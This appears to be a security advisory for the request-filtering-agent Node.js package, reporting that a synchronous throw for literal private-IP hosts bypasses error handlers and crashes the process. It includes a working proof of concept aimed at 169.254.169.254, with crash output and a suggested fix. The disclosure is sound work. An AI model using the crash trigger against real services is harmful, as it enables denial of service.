request-filtering-agent: Synchronous throw from createConnection() for literal private-IP hosts bypasses req.on('error'), crashing the Node.js process

Summary

RequestFilteringHttpAgent / RequestFilteringHttpsAgent block requests to private IPs, but the blocking happens via a synchronous throw inside createConnection() for literal private-IP hostnames (e.g. 169.254.169.254, 127.0.0.1). Node.js's http.request / http.get expects createConnection to emit an error asynchronously; a synchronous throw instead escapes the caller's req.on('error', ...) handler entirely and becomes an unhandled exception that crashes the process.

Affected

request-filtering-agent <= 3.2.0 (latest).

PoC (replicated live on 3.2.0)

const http = require('http');
const { RequestFilteringHttpAgent } = require('request-filtering-agent');
const agent = new RequestFilteringHttpAgent();
process.on('uncaughtException', e => {
  console.log('CRASH:', e.message); // fires — process dies
});
const req = http.get({ hostname: '169.254.169.254', port: 80, agent });
req.on('error', e => { /* never reached for literal IPs */ });

Actual output:

[email protected] synchronous throw escaping error event:
UNCAUGHT EXCEPTION (process crash): DNS lookup 169.254.169.254(...) is not allowed. Because, It is private IP address.
*** CRASH CONFIRMED: createConnection throws sync, bypasses req.on("error") ***

Note: hostnames that resolve to private IPs (e.g. localhost) are handled via the async lookup path and correctly emit an error event — this asymmetry confirms the sync-throw is a defect.

Impact

Any application using request-filtering-agent where an attacker can trigger an HTTP request to a literal private-IP (e.g. from a user-supplied URL that is pre-validated but still reaches http.get) will crash the Node.js process — full DoS.

Fix

Instead of throwing synchronously in createConnection(), call callback(error) (the Node.js net.createConnection error-callback convention) or use process.nextTick(() => socket.destroy(error)) on the returned socket to emit the error asynchronously, allowing req.on('error') to handle it.